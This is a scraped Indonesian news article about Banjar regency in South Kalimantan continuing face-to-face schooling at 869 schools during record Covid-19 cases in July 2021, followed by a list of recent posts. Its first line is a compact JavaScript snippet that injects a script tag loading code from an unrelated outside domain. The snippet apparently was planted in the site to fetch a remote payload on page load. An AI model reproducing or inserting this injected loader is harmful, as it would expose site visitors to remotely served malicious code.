(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HIBURAN

Covid-19 Kalsel Terus Rekor, 869 Sekolah di Banjar ‘Ngegas’ Pembelajaran Tatap Muka!


KANALKALIMANTAN.COM, MARTAPURA – Dibayangi melejitnya kasus Covid-19 di Kalimantan Selatan (Kalsel), Pemkab Banjar tetap melanjutkan kebijakan pembelajaran tatap muka (PTM). Langkah ini menindaklanjuti Surat Keputusan Bersama (SKB) 4 Menteri No 3 tahun 2021 tentang anjuran pembelajaran tatap muka.

Dinas Pendidikan Kab Banjar mencatat, saat ini ada 869 sekolah telah melaksanakan pembelajaran tatap muka terbatas yang dilaksanakan secara bertahap sejak Mei lalu. Padahal menurut status pembelajaran mengenai kesiapan belajar dalam proses belajar mengajar di tiap kecamatan Kabupaten Banjar yang dirangkum dalam data kemdikbud.go.id, sebanyak 22,07% untuk pembelajaran tatap muka dan 47,94% belajar dari rumah.


Liana Penny, Pelaksana Tugas (Plt) Kepala Disdik Kabupaten Banjar mengatakan banyak orangtua dan siswa menyambut baik digelarnya PTM.
“Saat ada pengumuman terkait belajar di sekolah, ada yang mengaku kalau anaknya itu tidak bisa tidur semalaman, karena saking semangatnya ingin kembali sekolah bertemu dengan guru dan teman-temannya,” ujarnya kepada Kanalkalimantan.com, Jumat (16/7/2021).

 

 

Baca juga: Pekerja Lokal Tewas Tertimpa Tower Penampungan Pasir Kuarsa, Ini Tuntutan Kades

Ia menyebutkan dari sejumlah 457 PAUD, 339 SD, dan 73 SMP telah melaksanakan pembelajaran tatap muka (PTM). “Dasarnya ya dari SKB 4 Menteri Nomor tahun 2021 itu, sekolah diperbolehkan asal ada izin dari pemerintah daerah, sekolahnya mengisi daftar isi dari Kemendikbud, sudah melengkapi semua syarat, dan petugas serta tenaga kerja di sekolah sudah vaksin semua,” ucapnya.
“Lagi pula PTM ini tidak wajib. Semua orangtua murid diberi pilihan anaknya diizinkan atau tidak melalui surat yang diberikan sekolah. Jadi terdaftar anak yang mengikuti pembelajaran tatap muka atau masih mau online, itu terserah ke orang tua masing-masing saja,” tegas Liana.

Ia memastikan bahwa pembelajaran tatap muka dapat berjalan lancar dan sudah dikontrol ketat terkait penyebaran Covid-19.

“Kita bersama Satgas Covid-19, Dinas Kesehatan, Polres, dan KODIM Kabupaten Banjar bekerja sama melakukan pemantauan penerapan protokol kesehatan setiap hari di sekolah yang melaksanakan PTM ini. Formulasi ketat juga dijalankan seperti membagi jadwal belajar mengatur jumlah murid, dan lainnya sesuai dengan surat edaran dari Kemendikbud RI,” ujarnya yakin.

“Jadwal itu kita terapkan mengikuti dari SKB, dalam satu ruangan maksimal ada 18 siswa untuk SD dan SMP. Sedangkan untuk TK dan PAUD sejumlah 5 orang saja. Kalo lebih dari itu, diberlakukan shift. Jadi ada yang 3 kali dalam seminggu, tergantung keputusan sekolah masing-masing. Jam belajarnya untuk TK dan PAUD 1 jam saja, kalo SD dan SMP hanya 2 sampai 3 jam. Tidak boleh lebih,” kata Liana.


“Untuk ketaatan protokol kesehatan tidak ada kendala, siswa-siswa TK dan SD itu sangat patuh terhadap gurunya,” tambahnya.
Liana memaparkan keputusan pembelajaran tatap muka ini saat ini yang terbaik demi kondisi psikologis anak sekolah. Interaksi sosial antara guru dan siswa terbatas karena hanya melalui layar gadget.

Baca juga: Covid-19 Kalsel Terus Cetak Rekor, Varian Delta Sudah Masuk Kalsel?

“Kalo dievaluasi sih, banyak yang loss control untuk kedisiplinan dan kerapiannya siswa-siswa saat pembelajaran online ini karena kan tidak bisa dikontrol banyak oleh guru. Mungkin ada rambut siswa yang sudah gondrong, ada kebiasaan-kebiasaan baik yang mulai luntur seperti membaca doa bersama sebelum mulai pelajaran. Jadi, untuk PTM awal-awal ini lebih difokuskan ke pembentukan karakter dan kebiasaan lagi, soalnya anak-anak sudah mulai agak lupa.”

“Pembelajaran yang masuk ke dalam kategori praktik ditunda dulu seperti olahraga, sekarang belajar teorinya saja dulu. Kantin juga nggak boleh buka, jadinya anak-anak diharuskan membawa bekal makanan masing-masing,” kata Liana

Ia juga berharap pembelajaran tatap muka ini didukung sepenuhnya oleh orang tua murid seperti memakaikan masker dan memberikan bekal untuk anak-anak yang siap berangkat sekolah. (kanalkalimantan.com/nurul)

Reporter: nurul
Editor: cell


Risa

Recent Posts

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

48 menit ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

1 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

2 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

6 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

9 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

9 jam ago

This website uses cookies.